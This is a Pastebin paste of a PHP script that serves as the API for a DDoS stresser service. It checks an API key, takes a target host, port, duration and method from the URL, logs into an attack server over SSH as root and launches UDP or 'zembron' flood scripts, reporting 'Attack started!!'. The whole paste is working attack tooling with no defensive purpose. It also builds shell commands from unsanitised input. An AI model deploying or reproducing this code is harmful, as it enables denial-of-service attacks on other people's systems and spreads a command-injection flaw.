Advertisement
Guest User

Untitled

a guest
May 13th, 2018
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(1000);
  4. $server_ip = "serverip";
  5. $server_pass = "serverpassword";
  6. $server_user = "root";
  7. $key = $_GET['key'];
  8. $host = $_GET['host'];
  9. $port = intval($_GET['port']);
  10. $time = intval($_GET['time']);
  11. $method = $_GET['method'];
  12. $action = $_GET['action'];
  13. $array = array("zembron", "udp", "stop");
  14. $ray = array("dsgfsefadw"); //This is your API password.
  15. if (!empty($key)){
  16. }else{
  17. die('Your IP was logged and send to the admin ! Enjoy your ban from my Community ! ');}
  18. if (in_array($key, $ray)){
  19. }else{
  20. die('Error: Incorrect API key!');}
  21. if (!empty($time)){
  22. }else{
  23. die('Error: Time is empty!');}
  24. if (!empty($host)){
  25. }else{
  26. die('Error: Host is empty!');}
  27. if (!empty($method)){
  28. }else{
  29. die('Error: Method is empty!');}
  30. if (in_array($method, $array)){
  31. }else{
  32. die('Error: The method you requested does not exist!');}
  33. if ($port > 44405){
  34. die('Error: Ports over 44405 do not exist');}
  35. if ($time > 1000){
  36. die('Error: Cannot exceed 1000 seconds!');}
  37. if(ctype_digit($Time)){
  38. die('Error: Time is not in numeric form!');}
  39. if(ctype_digit($Port)){
  40. die('Error: Port is not in numeric form!');}
  41. if ($method == "zembron") { $command = "screen -AmdS $host php /root/trial.php $host $time"; }
  42. if ($method == "udp") { $command = "perl /root/udp.pl $host $port 20 $time"; }
  43. if ($action == "stop") { $command = "pkill $host -f"; }
  44. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  45. if(!($con = ssh2_connect($server_ip, 22))){
  46. echo "Error: Connection Issue";
  47. } else {
  48. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  49. echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  50. } else {
  51.  
  52. if (!($stream = ssh2_exec($con, $command ))) {
  53. echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  54. } else {
  55. stream_set_blocking($stream, false);
  56. $data = "";
  57. while ($buf = fread($stream,4096)) {
  58. $data .= $buf;
  59. }
  60. echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  61. fclose($stream);
  62. }
  63. }
  64. }
  65.  
  66. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement